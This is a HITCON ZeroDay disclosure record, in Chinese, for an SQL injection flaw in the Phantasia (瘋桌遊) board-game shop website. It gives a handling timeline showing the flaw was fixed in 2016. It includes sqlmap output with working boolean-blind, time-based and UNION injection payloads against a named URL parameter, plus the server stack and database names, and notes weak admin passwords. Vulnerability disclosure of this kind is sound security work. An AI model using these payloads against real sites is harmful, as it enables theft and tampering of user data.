Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2016-00182
- Vendor: 瘋桌遊 Phantasia
- Title: 瘋桌遊遊戲專賣店資料庫注入漏洞
- Introduction: 資料庫注入漏洞
處理狀態
目前狀態
公開
Last Update : 2016/09/27
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2016/08/22 19:42:11 : 新提交 (由 k 更新此狀態)
- 2016/08/26 16:58:04 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2016/09/07 10:46:25 : 內部作業 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2016/09/07 10:46:33 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2016/09/08 11:50:43 : 通報已回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2016/09/08 11:50:54 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2016/09/19 23:30:48 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2016/09/20 12:35:06 : 確認已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2016/09/27 23:16:01 : 公開 (由 HITCON ZeroDay 服務團隊 更新此狀態)
詳細資料
- ZDID:ZD-2016-00182
- 通報者:knowlet003 (k)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://www.phantasia.tw/video?category=&language=1&num=122&page=2
敘述
應該有好幾個地方都有類似的點可以被注入,Error Log 沒有關閉,部分管理者密碼使用弱密碼。
sqlmap resumed the following injection point(s) from stored session:
Parameter: language (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: category=&language=1 AND 3189=3189&num=122&page=2
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: category=&language=1 AND SLEEP(5)&num=122&page=2
Type: UNION query
Title: Generic UNION query (55) - 28 columns
Payload: category=&language=1 UNION ALL SELECT 55,55,55,55,55,CONCAT(0x71717a7171,0x71537943695878426c614142626f4a487966704a6948425a78616b42576e63705753547156515848,0x71627a7
871),55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55-- GJsH&num=122&page=2
[18:54:56] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[18:54:56] [INFO] the back-end DBMS is MySQL
[18:54:56] [INFO] fetching banner
web server operating system: Windows 2008 R2 or 2000 or 7
web application technology: Apache, PHP 5.6.24
back-end DBMS: MySQL >= 5.0.12
banner: '10.0.11-MariaDB'
[18:54:56] [INFO] fetching database names
available databases [4]:
[] information_schema
[] phantasi_phant_phantasia
[] phantasi_phant_pos_server
[] phantasi_shop
擷圖
留言討論
登入後留言